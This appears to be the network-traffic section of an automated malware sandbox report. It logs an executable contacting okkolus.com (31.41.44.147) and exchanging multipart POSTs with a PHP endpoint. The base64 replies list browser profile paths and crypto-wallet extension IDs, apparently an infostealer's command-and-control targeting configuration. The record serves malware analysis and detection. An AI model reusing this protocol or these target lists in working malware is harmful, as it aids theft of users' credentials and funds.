May 6, 2024 02:53:36.124689102 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124701977 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124712944 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124723911 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124735117 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124736071 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124747992 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124762058 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124777079 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124788046 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124800920 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124810934 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124825954 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124838114 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124846935 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124861002 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124871969 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124874115 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124897003 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.124898911 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124918938 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124947071 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.124995947 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.125042915 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.134496927 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.134550095 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.134565115 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.134612083 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211287022 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211321115 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211333036 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211374998 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211406946 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211430073 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211472988 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211486101 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211497068 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211508989 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211517096 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211520910 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211550951 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211565971 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211576939 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211580038 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211587906 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211605072 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211606979 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211617947 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211630106 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211643934 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211662054 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211669922 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211695910 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211700916 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211708069 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211738110 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211749077 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211760998 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211774111 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.211803913 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.211821079 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.212311029 CEST	49720	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.239903927 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.466727018 CEST	80	49720	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.499286890 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.499406099 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.601737022 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.903377056 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.947618961 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.947691917 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.947752953 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.947797060 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.955101013 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.955115080 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.955153942 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.955168009 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.955235958 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.955275059 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.955347061 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.955384970 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.955872059 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.955902100 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:36.955912113 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:36.955938101 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.033910990 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.033925056 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.033979893 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.033996105 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.206809998 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.206828117 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.206882954 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.206903934 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.206943035 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.206957102 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.206981897 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.207003117 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.214242935 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.214257002 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.214287996 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.214304924 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.214358091 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.214399099 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.214426041 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.214438915 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.214452028 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.214462042 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.214462996 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.214478016 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.214478016 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.214504004 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.214541912 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.215001106 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.215037107 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.215055943 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.215069056 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.215081930 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.215095043 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.215120077 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.294146061 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.294209003 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.294219017 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.294255972 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.294265985 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.294270039 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.294292927 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.294302940 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.467278004 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.467339993 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.467401028 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.467413902 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.467427015 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.467442989 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.467463970 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.467566013 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.467578888 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.467591047 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.467602968 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.467602968 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.467626095 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.467647076 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.473787069 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.473799944 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.473828077 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.473841906 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.473938942 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.473952055 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.473979950 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.473979950 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.473990917 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.473994970 CEST	80	49721	31.41.44.147	192.168.2.6
May 6, 2024 02:53:37.474018097 CEST	49721	80	192.168.2.6	31.41.44.147
May 6, 2024 02:53:37.474026918 CEST	49721	80	192.168.2.6	31.41.44.147

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 6, 2024 02:52:35.917686939 CEST	57119	53	192.168.2.6	1.1.1.1
May 6, 2024 02:52:36.512387037 CEST	53	57119	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 6, 2024 02:52:35.917686939 CEST	192.168.2.6	1.1.1.1	0xce17	Standard query (0)	okkolus.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 6, 2024 02:52:36.512387037 CEST	1.1.1.1	192.168.2.6	0xce17	No error (0)	okkolus.com		31.41.44.147	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

okkolus.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49706	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:38.047890902 CEST	409	OUT	POST /cf5cbdf706840b3f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHJDGHJDBFIJKECAECAF Host: okkolus.com Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 38 38 34 39 30 35 36 38 30 36 31 32 37 38 39 35 37 33 32 30 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 75 6e 69 6b 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 47 48 4a 44 42 46 49 4a 4b 45 43 41 45 43 41 46 2d 2d 0d 0a Data Ascii: ------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="hwid"A884905680612789573209------EHJDGHJDBFIJKECAECAFContent-Disposition: form-data; name="build"unik------EHJDGHJDBFIJKECAECAF--
May 6, 2024 02:52:38.409950972 CEST	347	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 156 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 4f 57 4a 6d 4d 7a 68 68 59 54 51 33 4e 54 63 7a 4e 7a 64 6b 4e 44 46 6a 59 6a 52 69 4e 32 46 69 4e 7a 6c 69 5a 54 6b 78 4d 6a 68 6d 4d 7a 4d 77 4d 47 55 34 59 7a 5a 6a 4d 32 4d 78 4d 47 4d 34 4f 54 52 6c 59 57 59 79 59 54 6c 6b 4d 57 51 79 4e 7a 56 68 4e 44 42 6c 4e 44 51 7a 5a 6d 45 31 66 47 70 69 5a 48 52 68 61 57 70 76 64 6d 64 38 5a 57 6c 74 5a 57 68 79 64 6e 70 76 5a 43 35 6d 61 57 78 6c 66 44 46 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 3d Data Ascii: OWJmMzhhYTQ3NTczNzdkNDFjYjRiN2FiNzliZTkxMjhmMzMwMGU4YzZjM2MxMGM4OTRlYWYyYTlkMWQyNzVhNDBlNDQzZmE1fGpiZHRhaWpvdmd8ZWltZWhydnpvZC5maWxlfDF8MHwxfDF8MXwxfDF8MXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49707	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:38.714463949 CEST	466	OUT	POST /cf5cbdf706840b3f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJJKEBGHJKFIDGCAAFCA Host: okkolus.com Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4a 4b 45 42 47 48 4a 4b 46 49 44 47 43 41 41 46 43 41 2d 2d 0d 0a Data Ascii: ------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------KJJKEBGHJKFIDGCAAFCAContent-Disposition: form-data; name="message"browsers------KJJKEBGHJKFIDGCAAFCA--
May 6, 2024 02:52:39.070096016 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:38 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3NlclxV [TRUNCATED]
May 6, 2024 02:52:39.070133924 CEST	423	IN	Data Raw: 47 4a 79 62 33 64 7a 5a 58 49 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 77 5a 58 4a Data Ascii: GJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49708	31.41.44.147	80	6784	C:\Users\user\Desktop\FFAk2gixx5.exe

Timestamp	Bytes transferred	Direction	Data
May 6, 2024 02:52:39.336133003 CEST	465	OUT	POST /cf5cbdf706840b3f.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEBGIEGCFHCFHIDHIJEC Host: okkolus.com Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 66 33 38 61 61 34 37 35 37 33 37 37 64 34 31 63 62 34 62 37 61 62 37 39 62 65 39 31 32 38 66 33 33 30 30 65 38 63 36 63 33 63 31 30 63 38 39 34 65 61 66 32 61 39 64 31 64 32 37 35 61 34 30 65 34 34 33 66 61 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 47 49 45 47 43 46 48 43 46 48 49 44 48 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="token"9bf38aa4757377d41cb4b7ab79be9128f3300e8c6c3c10c894eaf2a9d1d275a40e443fa5------AEBGIEGCFHCFHIDHIJECContent-Disposition: form-data; name="message"plugins------AEBGIEGCFHCFHIDHIJEC--
May 6, 2024 02:52:39.695594072 CEST	1289	IN	HTTP/1.1 200 OK Date: Mon, 06 May 2024 00:52:39 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 5416 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5IFdh [TRUNCATED]
